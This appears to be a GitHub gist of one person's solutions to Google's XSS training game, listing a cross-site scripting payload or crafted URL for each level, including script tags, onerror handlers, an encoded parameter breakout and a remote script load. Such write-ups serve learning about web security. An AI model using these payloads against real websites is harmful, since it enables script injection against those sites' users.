Skip to content

Instantly share code, notes, and snippets.

@Arinerron
Last active January 12, 2017 19:05
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Arinerron/19d75c81bcff5622bf6d4f2ff8e3829d to your computer and use it in GitHub Desktop.
Save Arinerron/19d75c81bcff5622bf6d4f2ff8e3829d to your computer and use it in GitHub Desktop.
These are my solutions to http://xss-game.appspot.com/. I did not use any hints on these, but I took a while on the last two.
These are my solutions to http://xss-game.appspot.com/. I did not use any hints on these, but I took a while on the last two.
[Level 1]: Search for the string.
<script>alert(1)</script>
[Level 2]: Post the string
<img src=x onerror=javascript:alert(1)></img>
[Level 3]: Navigate to the URL
http://xss-game.appspot.com/level3/frame#1' onerror="javascript:alert(1)"
[Level 4]: Navigate to the URL
http://xss-game.appspot.com/level4/frame?timer=%27%29%3Balert%281%29%3B%2F%2F
[Level 5]: Navigate to the URL
http://xss-game.appspot.com/level6/frame# https://arinerron.com/script.js
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment